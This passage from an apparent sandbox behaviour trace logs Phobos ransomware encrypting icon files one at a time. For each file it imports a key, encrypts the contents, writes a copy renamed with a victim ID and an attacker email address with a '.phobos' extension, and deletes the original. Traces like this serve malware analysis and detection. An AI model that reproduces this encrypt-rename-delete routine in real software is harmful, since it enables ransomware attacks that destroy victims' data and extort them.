"c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.698] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcad0) returned 1 [0045.698] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.698] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.716] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.716] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.716] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc590) returned 1 [0045.716] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.716] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.716] CryptDestroyKey (hKey=0x10dc590) returned 1 [0045.716] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.717] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0045.717] CloseHandle (hObject=0x31c) returned 1 [0045.717] CloseHandle (hObject=0x310) returned 1 [0045.717] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0045.718] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.718] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.718] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.718] CloseHandle (hObject=0x310) returned 1 [0045.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0045.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.718] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.719] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.719] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.719] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.719] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0045.719] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.719] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.740] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.740] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.741] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc6d0) returned 1 [0045.741] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.741] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.741] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0045.741] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.741] CryptDestroyKey (hKey=0x10dc750) returned 1 [0045.741] CloseHandle (hObject=0x310) returned 1 [0045.742] CloseHandle (hObject=0x31c) returned 1 [0045.742] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0045.743] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.743] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.743] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.743] CloseHandle (hObject=0x31c) returned 1 [0045.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0045.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.745] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.745] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.745] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.745] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.745] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcad0) returned 1 [0045.745] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.745] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.753] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.753] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.754] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0045.754] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.754] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.754] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.754] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.754] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0045.754] CloseHandle (hObject=0x31c) returned 1 [0045.754] CloseHandle (hObject=0x310) returned 1 [0045.755] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0045.755] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.755] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.757] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.757] CloseHandle (hObject=0x310) returned 1 [0045.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0045.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.758] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.758] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.758] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.758] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.758] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0045.758] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.758] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.788] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.788] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.789] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc6d0) returned 1 [0045.789] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.789] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.789] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0045.789] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.789] CryptDestroyKey (hKey=0x10dc610) returned 1 [0045.789] CloseHandle (hObject=0x310) returned 1 [0045.789] CloseHandle (hObject=0x31c) returned 1 [0045.799] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0045.805] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.805] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.805] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=36710) returned 1 [0045.805] CloseHandle (hObject=0x31c) returned 1 [0045.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0045.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.806] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.806] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.806] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc850) returned 1 [0045.806] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.806] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x8f66, lpOverlapped=0x0) returned 1 [0045.831] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x8f70) returned 1 [0045.831] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x8f70, lpOverlapped=0x0) returned 1 [0045.833] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb50) returned 1 [0045.833] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.833] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.833] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0045.833] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.833] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.833] CloseHandle (hObject=0x31c) returned 1 [0045.833] CloseHandle (hObject=0x310) returned 1 [0045.834] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0045.835] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.835] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.835] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=10134) returned 1 [0045.835] CloseHandle (hObject=0x310) returned 1 [0045.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0045.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.836] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.836] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.836] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc550) returned 1 [0045.836] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.836] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x2796, lpOverlapped=0x0) returned 1 [0045.880] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x27a0) returned 1 [0045.881] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x27a0, lpOverlapped=0x0) returned 1 [0045.882] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb50) returned 1 [0045.882] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.882] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.882] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0045.882] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.882] CryptDestroyKey (hKey=0x10dc550) returned 1 [0045.882] CloseHandle (hObject=0x310) returned 1 [0045.882] CloseHandle (hObject=0x31c) returned 1 [0045.883] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0045.884] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.884] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.884] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1150) returned 1 [0045.885] CloseHandle (hObject=0x31c) returned 1 [0045.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0045.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.885] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.885] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.885] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 